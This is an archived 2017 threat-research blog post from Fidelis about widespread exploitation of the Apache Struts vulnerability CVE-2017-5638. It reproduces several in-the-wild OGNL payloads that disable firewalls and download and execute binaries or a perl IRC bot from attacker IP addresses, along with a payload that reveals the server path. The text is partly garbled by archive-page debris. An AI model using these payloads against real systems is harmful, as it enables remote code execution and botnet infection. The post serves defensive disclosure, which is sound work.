WIDESPREAD EXPLOITATION ATTEMPTS USING CVE-2017-5638 - Threat Geek - 31/10/2024 14:47

https://web.archive.org/web/20170319121015/http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html

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http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html

5 captures
19 Mar 2017 - 6 Dec 2022

MAR MAY ② ② ⊗
19 June 2017 - 6 Dec 2022

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WIDESPREAD EXPLOITATION ATTEMPTS USING CVE-2017-5638



Many research teams <u>have reported</u> on their observations of exploits involving the use of the Apache Struts vulnerability CVE-2017-5638 since <u>Cisco Talos published their post</u> on Wednesday March 8. Fidelis Cybersecurity Threat Research is also seeing widespread activity and contrary to <u>some reporting</u>, we're not seeing any reduction in scanning over the course of the day.

Apache Struts 2 is an open-source development framework for Java web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model—view—controller (MVC) architecture. Apache Struts 2 is used to build websites by a wide variety of organizations. Even as the <u>patch was made available</u> earlier in the week, it's a fair assumption that a large number of systems are yet to be updated.

This post captures some of the exploit code we're seeing. Our expectation is that we'll build on the post as more implementations are discovered.

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Understand the current state of IPS/IDS, and use cases that are suitable/unsuitable for this tech to address.

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The activity is very reminiscent of Shellshock, in that Apache Struts is open source, mature, widely deployed and often embedded in other packages, both commercial and open-source. Many environments only discover Krebs on Security Malw are Tracker









19 Mar 2017 - 6 Dec 2022 of DDoS software, typically the BillGates Botnet.

2. There is more targeted activity clearly going on, often involving reconnaissance of some nature.

Observed Exploits

5 captures

Building off the original proof-of-concept code

Numerous botnets are adapting code from the proof-of-concept code that was published earlier this week. In each of these instances, there is an attempt to immediately disable firewall functionality followed by the download and immediate execution of a binary.

(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://121.42.249.245:1996/xhx;chmod 777

xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds =(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new

java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).

#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://58.221.58.113:8080/v9;chmod 777

v9;./v9;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})

(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://222.186.134.221:8080/64;chmod 777

64;./64;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds= (#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new

java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())

Update 3/17:

(#cmd='wget -qO - http://65.254.63.20/.jb | perl; cd /tmp; curl -O http://65.254.63.20/.jb; fetch http://65.254.63.20/.jb; perl.jb;rm-rf

.jb*').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cm ds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))

Note: .jb is a perl irc bot pretty common with shellshock as well usually used for bitcoin mining or ddos

(#cmd='echo

"Struts2045").(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('wi n'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds))

Original Implementations

1. In this one, it looks like the code is printing the root path directory from the exploited server

(#res.getWriter().print('xfdir:')).(#res.getWriter().println(#req.getSession().getServletContext().getRealPa th('/'))).(#res.getWriter().print('xfdir:')).(#res.getWriter().flush()).(#res.getWriter().close()

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2. We don't have a good theory for this one other than it represents test code that could eventually be adapted MAY 5 captures 2016 19 Mar 2017 - 6 Dec 2022 2020 ▼ About t

Conclusion

The wave of threat activity involving CVE-2017-5638 is only just beginning and we're seeing variants that diverge from the original proof-of-concept code starting to emerge. As we see more activity, we intend to share these observations with the community by updating this post.

Posted by ThreatGeek at 07:44 AM in advanced malware, malware detection | Permalink



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